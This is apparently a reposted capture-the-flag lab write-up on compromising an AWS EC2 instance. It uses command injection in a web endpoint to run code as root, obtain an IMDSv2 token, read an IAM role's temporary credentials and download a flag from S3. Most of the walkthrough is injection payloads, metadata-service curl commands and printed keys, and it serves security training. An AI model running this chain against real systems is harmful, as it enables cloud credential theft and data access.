Cybr Academy – [LAB] Compromise EC2 IMDSv2 with RCE (AWS Red Teaming)

작성자

카테고리:

← 피드로
DEV Community · David Disu · 2026-07-21 개발(SW)

David Disu

Compromising EC2 IMDSv2 via Remote Code Execution

Overview

This lab walks through exploiting a command injection vulnerability in a web application to achieve Remote Code Execution (RCE) on an EC2 instance, then leveraging the Instance Metadata Service v2 (IMDSv2) to steal IAM credentials and access sensitive data in S3.

Step 1 — Finding the Command Injection

The web app exposes a /fetch-time endpoint that accepts a cmd parameter via POST request. The intended use is something like cmd=date to return the current server time. No input sanitization? That’s our way in.

We test with a classic command chaining trick:

curl -X POST -d "cmd=date; whoami" http://34.229.207.76/fetch-time

Enter fullscreen mode Exit fullscreen mode

Fri Jul 17 21:35:31 UTC 2026
root

Enter fullscreen mode Exit fullscreen mode

We’re running as root. The vulnerability is confirmed — whatever we pass in cmd gets executed directly on the server.

Step 2 — Querying the Instance Metadata Service

With RCE in hand, the next move is to check if this EC2 instance has an IAM role attached. IAM roles on EC2 instances expose temporary credentials through the Instance Metadata Service (IMDS) at the link-local address 169.254.169.254.

A quick probe shows the instance is running IMDSv2 — the newer, token-based version of IMDS that requires a session token before returning any metadata. IMDSv1 would have let us query it directly, but IMDSv2 adds a layer of protection. Not an insurmountable one though.

We first request a token:

curl -X POST -d "cmd=curl -X PUT 'http://169.254.169.254/latest/api/token' \
-H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'" \
http://34.229.207.76/fetch-time

Enter fullscreen mode Exit fullscreen mode

This returns a short-lived session token valid for 6 hours. With the token in hand, we can now freely query the metadata service through our RCE.

Step 3 — Finding the IAM Role

We use the token to discover what IAM role is attached to the instance:

curl -X POST -d "cmd=curl -H 'X-aws-ec2-metadata-token: AQAEAEnNUbNaB0I189kN...' \
http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
http://34.229.207.76/fetch-time

Enter fullscreen mode Exit fullscreen mode

Response: rce-lab-role

Step 4 — Stealing the Credentials

Now we query that specific role to extract its temporary AWS credentials:

curl -X POST -d "cmd=curl -H 'X-aws-ec2-metadata-token: AQAEAEnNUbNaB0I189kN...' \
http://169.254.169.254/latest/meta-data/iam/security-credentials/rce-lab-role" \
http://34.229.207.76/fetch-time

Enter fullscreen mode Exit fullscreen mode

We get back a full set of temporary credentials:

{
  "Code": "Success",
  "AccessKeyId": "ASIAQGYBPW5TU2CCIQMW",
  "SecretAccessKey": "iMaC8nPwTubKZnkMccJTHanYT0DuMRWswB0huIkb",
  "Token": "IQoJb3JpZ2luX2VjEOb//...",
  "Expiration": "2026-07-21T03:55:03Z"
}

Enter fullscreen mode Exit fullscreen mode

We load these into a local AWS CLI profile called rce-lab and confirm our identity:

aws sts get-caller-identity --profile rce-lab

Enter fullscreen mode Exit fullscreen mode

{
  "UserId": "AROAQGYBPW5TZJ3EEZLSB:i-0075a04de7e6bb809",
  "Account": "014498641767",
  "Arn": "arn:aws:sts::014498641767:assumed-role/rce-lab-role/i-0075a04de7e6bb809"
}

Enter fullscreen mode Exit fullscreen mode

We’re in.

Step 5 — Enumerating Permissions

Attempting to list the role’s own policies hits a wall:

aws iam list-role-policies --role-name rce-lab-role --profile rce-lab
# AccessDenied

aws iam list-attached-role-policies --role-name rce-lab-role --profile rce-lab
# AccessDenied

Enter fullscreen mode Exit fullscreen mode

The role can’t describe itself — a common restriction in hardened environments. Rather than spinning our wheels on IAM, we pivot to checking common services directly. If the role has S3 access, we’ll find out fast:

aws s3 ls --profile rce-lab

Enter fullscreen mode Exit fullscreen mode

2026-07-20 17:17:31 cybr-imdsv2-rce-014498641767

Enter fullscreen mode Exit fullscreen mode

A bucket. Let’s look inside:

aws s3 ls s3://cybr-imdsv2-rce-014498641767 --profile rce-lab

Enter fullscreen mode Exit fullscreen mode

2026-07-20 17:17:55 28 flag.txt

Enter fullscreen mode Exit fullscreen mode

Step 6 — Capturing the Flag

aws s3 cp s3://cybr-imdsv2-rce-014498641767/flag.txt . --profile rce-lab
cat flag.txt

Enter fullscreen mode Exit fullscreen mode

FLAG{CYBR_S3_ACC3SS_V!A_RC3}

Attack Chain Summary

Command Injection in /fetch-time endpoint
↓
Remote Code Execution as root
↓
IMDSv2 token obtained via RCE
↓
IAM role name discovered from metadata
↓
Temporary AWS credentials stolen
↓
S3 bucket enumerated
↓
Flag captured 

Enter fullscreen mode Exit fullscreen mode

PWNSOME REFERENCES

원문에서 계속 ↗

코멘트

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다